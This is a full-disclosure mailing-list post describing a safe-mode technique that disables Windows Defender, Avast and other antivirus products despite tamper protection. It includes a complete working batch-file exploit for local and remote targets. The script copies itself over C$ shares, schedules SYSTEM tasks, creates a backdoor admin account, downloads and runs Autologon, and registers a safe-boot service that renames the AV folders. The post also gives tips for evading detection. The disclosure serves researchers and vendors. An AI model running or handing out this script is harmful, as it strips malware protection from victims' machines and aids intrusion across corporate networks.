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Date: Sun, 6 Dec 2020 21:00:31 -0500
From: Roberto Franceschetti <roberto@...sat.com>
To: fulldisclosure@...lists.org
Subject: [FD] Disable Windows Defender and most other 3rd party antiviruses

Windows Defender and most other antivirus applications can be disabled by booting into safe mode and renaming their application directories before their AV services are started in Windows. The renaming of the directories can be performed by creating a Windows NT Service that is allowed to start in Safe Mode. While Windows stops most non-Windows, non-critical services from starting when booting in Safe mode, I was able to make sure that my service is started by adding it to:
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\[service name]

I have successfully tested POCs on fully patched Windows 10 and Windows Server 2016 machines. In all cases I was able to disable the following antivirus products, even if they each had their flavor of password/tamper protection enabled:
Windows Defender
Avast
Kaspersky
F-Secure
Bitdefender
[one more product goes here, but as that vendor recognized the issue and has worked on a fix I will not mention it]

The POC consists of a single .bat file that can be used to either disable the antivirus on the local machine, or one running on a remote endpoint.

Disclosure: Local admin rights are needed on the victim's PC (very common for home users). For a remote exploit, this POC additionally requires the  attacker to have access to the remote C$ share and to be able to schedule tasks remotely. Note that this however is a common scenario for IT tech support staff - if just one of them is tricked into executing the exploit, this could cause all AV protection on all Windows endpoints in the corporate network to be disabled.

A sample exploit to disable both Windows Defender and Avast can be found below. The code is self-explanatory. On:
https://logsat.com/WindowsAVBypass/

you can find more details as to why I'm releasing this publicly, along with an additional POC sample that is used to disable Bitdefender. Bitdefender detects the original POC as malicious, but all that is needed to bypass that AV is to split each command in a separate scheduled task. Please note that some A/V might now detect this specific code as malicious, but what matters is the methodology that allows to disable the AVs - the steps can be performed in several different ways to go undetected.

A screencast showing the POC remotely disabling Avast and Windows Defender is at: https://youtu.be/VE3gwXt6uWg

Roberto Franceschetti
LogSat Software


============= Avast-DisableAV-Remote.bat ================================

REM - Author: Roberto Franceschetti
REM - Usage - to disable AV on local machine: C:\>Avast-DisableAV-Remote.bat
REM - Usage - to disable AV on remote machine: C:\>Avast-DisableAV-Remote.bat TargetComputerName (must be a hostname - IP won't work)

IF NOT [%1] == [] (GOTO Remote) ELSE (GOTO Local)

:Remote
rem - we are exploiting a remote computer - copy script to victim and schedule task to execute it
COPY "%~dp0Avast-DisableAV-Remote.bat" \\%1\C$\windows\temp\Avast-DisableAV-Remote.bat
powershell -command "& {$time = [DateTime]::Now.AddMinutes(1);$hourMinute=$time.ToString('HH:mm');SchTasks.exe /Create /s %1 /SC ONCE /TN 'DisableAvast' /TR 'C:\Windows\temp\Avast-DisableAV-Remote.bat' /ST $hourMinute /F /RU 'SYSTEM' /RL HIGHEST }"
GOTO :eof

:Local
rem - We are running .bat locally - run the exploit
rem - create local admin account used to autologin on first safe boot
net user AvastBounty "Avast123" /ADD
net localgroup administrators AvastBounty /add

rem - add autologin registry entries for next reboot
powershell -command "& { iwr https://live.sysinternals.com/Autologon.exe -OutFile c:\windows\temp\Autologon.exe }"
c:\windows\temp\Autologon.exe -accepteula AvastBounty . Avast123

rem - Now configure the next reboot in safe mode and autologin
bcdedit /set {default} safeboot minimal

rem - create the batch file executed by the DisableAvast service after the safe reboot
rem - will rename ProgramFiles\Avast folders/filesystem drivers, disable WinDefender
rem - will remove the safebot/autologon entries and reboot

@echo off
echo cd c:\windows\temp > c:\windows\temp\DisableAvastAV.bat
echo ren "C:\Program Files\Avast Software" "Avast Software Disabled" >> c:\windows\temp\DisableAvastAV.bat
echo ren "C:\Program Files\Windows Defender" "Windows Defender Disabled" >> c:\windows\temp\DisableAvastAV.bat
echo ren "C:\Program Files\Windows Defender Advanced Threat Protection" "Windows Defender Advanced Threat Protection Disabled" >> c:\windows\temp\DisableAvastAV.bat
echo ren "C:\Program Files (x86)\Windows Defender" "Windows Defender Disabled" >> c:\windows\temp\DisableAvastAV.bat
echo ren "C:\ProgramData\Avast Software" "Avast Software Disabled" >> c:\windows\temp\DisableAvastAV.bat

echo sc config "avast! Antivirus" start=disabled >> c:\windows\temp\DisableAvastAV.bat
echo sc config "avast! Tools" start=disabled >> c:\windows\temp\DisableAvastAV.bat
echo sc config "AvastWscReporter" start=disabled >> c:\windows\temp\DisableAvastAV.bat
echo sc config "aswbIDSAgent" start=disabled >> c:\windows\temp\DisableAvastAV.bat
echo sc config WinDefend start=disabled >> c:\windows\temp\DisableAvastAV.bat

echo timeout /t 10 >> c:\windows\temp\DisableAvastAV.bat
echo net stop SAVService >> c:\windows\temp\DisableAvastAV.bat
echo net stop hmpalertsvc >> c:\windows\temp\DisableAvastAV.bat
echo timeout /t 10 >> c:\windows\temp\DisableAvastAV.bat
echo ren "C:\Program Files\Avast" Avast_Disabled >> c:\windows\temp\DisableAvastAV.bat

echo reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /f /t REG_SZ /d "0" >> c:\windows\temp\DisableAvastAV.bat
echo bcdedit /deletevalue {default} safeboot >> c:\windows\temp\DisableAvastAV.bat
echo sc delete DisableAvast >> c:\windows\temp\DisableAvastAV.bat
rem - echo pause >> c:\windows\temp\DisableAvastAV.bat
echo shutdown /r /f /t 0 >> c:\windows\temp\DisableAvastAV.bat

rem - now create the Powershell script that will create a "DisableAvastAV.exe" that will simply execute the DisableAvastAV.bat batch file above:
rem - this is done as Windows 10 won't allow a service to run a .bat file, but a .exe will however run once just fine even if the service fails to start

echo $source = @^" > c:\windows\temp\CreateService.ps1
echo   using System; >> c:\windows\temp\CreateService.ps1
echo   class Hello { >> c:\windows\temp\CreateService.ps1
echo     static void Main() { >> c:\windows\temp\CreateService.ps1
echo      System.Diagnostics.Process.Start(^"C:\\Windows\\Temp\\DisableAvastAV.bat^"); >> c:\windows\temp\CreateService.ps1
echo     } >> c:\windows\temp\CreateService.ps1
echo   } >> c:\windows\temp\CreateService.ps1
echo ^"@ >> c:\windows\temp\CreateService.ps1
echo Add-Type -TypeDefinition $source -Language CSharp -OutputAssembly ^"C:\Windows\Temp\DisableAvastAV.exe^" >> c:\windows\temp\CreateService.ps1

@echo on

rem - now execute the powershell script to create the DisableAvastAV.exe file and install it as a service:
powershell set-executionpolicy -executionpolicy bypass
powershell c:\windows\temp\CreateService.ps1
sc create DisableAvast binpath="c:\windows\temp\DisableAvastAV.exe" start=auto

rem - this entry will allow the DisableAvast service to run in Safeboot as well, otherwise it won't start:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\DisableAvast /f /t REG_SZ /d "service"

rem - now reboot... Safe mode will be activated and the DisableAvastAV.exe service will run, calling the DisableAvastAV.bat script, renaming the Avast folders no longer protected by Tamper Protection
rem - pause
shutdown /r /f /t 0

=============================================

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